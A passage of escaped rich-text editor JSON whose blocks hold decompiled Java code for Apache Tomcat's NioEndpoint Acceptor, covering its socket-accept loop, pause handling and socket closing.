text&#34;,&#34;id&#34;:&#34;fFty-1659061270998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GvB9-1659061223847&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LGv4-1659061223845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected class Acceptor extends org.apache.tomcat.util.net.AbstractEndpoint.Acceptor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1f1I-1659061221263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1pn8-1659061221261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected Acceptor() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CGQI-1659061221265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;grwK-1659061221264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gHp5-1659061221267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D1ik-1659061221266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hTeM-1659061221269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dGQM-1659061221268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eAj1-1659061221271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RCPp-1659061221270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte errorDelay = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1m6q-1659061221273&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ikpd-1659061221272&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AZPk-1659061221275&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pJ7N-1659061221274&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while(NioEndpoint.this.running) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SN10-1659061221277&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ahg6-1659061221276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while(NioEndpoint.this.paused &amp;&amp; NioEndpoint.this.running) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;irsV-1659061221279&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y6m9-1659061221278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.state = AcceptorState.PAUSED;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;62q6-1659061221281&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FOu7-1659061221280&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2xVL-1659061221283&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NNP5-1659061221282&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oZNI-1659061221285&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lRln-1659061221284&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Thread.sleep(50L);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7UQb-1659061221287&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GBzI-1659061221286&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (InterruptedException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;krjs-1659061221289&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1m8z-1659061221288&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IuW2-1659061221291&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tRfD-1659061221290&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1wBd-1659061221293&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWt1-1659061221292&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMEm-1659061221295&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O7i6-1659061221294&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (!NioEndpoint.this.running) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uhrD-1659061221297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fk5Z-1659061221296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bRp6-1659061221299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n2eq-1659061221298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMml-1659061221301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fafx-1659061221300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vGKb-1659061221303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uLq3-1659061221302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.state = AcceptorState.RUNNING;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RTc5-1659061221305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nZja-1659061221304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MPak-1659061221307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1TOW-1659061221306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6eD8-1659061221309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O2m6-1659061221308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.this.countUpOrAwaitConnection();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PUAf-1659061221311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rXpe-1659061221310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                SocketChannel socket = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pQdu-1659061221313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQmK-1659061221312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OmUV-1659061221315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNPM-1659061221314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uA62-1659061221317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mt0Q-1659061221316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    socket = NioEndpoint.this.serverSock.accept();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5lNn-1659061221319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjTs-1659061221318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H7Rq-1659061221321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nLkP-1659061221320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    NioEndpoint.this.countDownConnection();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;spvE-1659061221323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pk69-1659061221322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (!NioEndpoint.this.running) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;62xE-1659061221325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWyt-1659061221324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GOdF-1659061221327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXdS-1659061221326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HlFw-1659061221329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DIw6-1659061221328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dq60-1659061221331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;70Ci-1659061221330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    NioEndpoint.this.handleExceptionWithDelay(errorDelay);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WZCY-1659061221334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;acXe-1659061221333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aG0a-1659061221336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZEPv-1659061221335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X0Ss-1659061221338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;673m-1659061221337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jqGT-1659061221340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5tCU-1659061221339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                errorDelay = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BrKY-1659061221342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;my7U-1659061221341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (NioEndpoint.this.running &amp;&amp; !NioEndpoint.this.paused) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dKBh-1659061221344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gLbd-1659061221343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (!NioEndpoint.this.setSocketOptions(socket)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7sem-1659061221346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X73w-1659061221345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.closeSocket(socket);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aw6w-1659061221348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0npS-1659061221347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1UIG-1659061221350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lUBp-1659061221349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9OhH-1659061221352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xDnu-1659061221351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.closeSocket(socket);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MXCO-1659061221354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E3te-1659061221353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RtbY-1659061221356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jQul-1659061221355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Throwable var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DoaQ-1659061221358&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sNDk-1659061221357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ExceptionUtils.handleThrowable(var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ll3h-1659061221360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vhwM-1659061221359&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.log.error(AbstractEndpoint.sm.getString(\&#34;endpoint.accept.fail\&#34;), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b92X-1659061221362&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5g1-1659061221361&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npur-1659061221364&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MBkK-1659061221363&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3m5-1659061221366&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MnbI-1659061221365&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LHOR-1659061221368&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SrH8-1659061221367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.state = AcceptorState.ENDED;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nxD4-1659061221370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ona8-1659061221369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mvaN-1659061221372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kVER-1659061221371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ExU-1659061221374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vsEX-1659061221373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void closeSocket(SocketChannel socket) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5SqM-1659061221376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lyo1-1659061221375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        NioEndpoint.this.countDownConnection();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XpK6-1659061221378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wLUr-1659061221377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdZ1-1659061221380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8nnN-1659061221379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gJ4l-1659061221382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U0Ey-1659061221381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            socket.socket().close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BVdD-1659061221384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HPcF-1659061221383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YuS2-1659061221386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Al49-1659061221385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (NioEndpoint.log.isDebugEnabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NpMp-1659061221388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IfYI-1659061221387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.log.debug(AbstractEndpoint.sm.getString(\&#34;endpoint.err.close\&#34;), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RXPt-1659061221390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ObdM-1659061221389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7DKM-1659061221392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QbGt-1659061221391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oU6K-1659061221394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ODwu-1659061221393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bYWw-1659061221396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;umo5-1659061221395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctnj-1659061221398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jieC-1659061221397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            socket.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0y0Z-1659061221400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Plgr-1659061221399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xNkU-1659061221402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;62UW-1659061221401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (NioEndpoint.log.isDebugEnabled()) 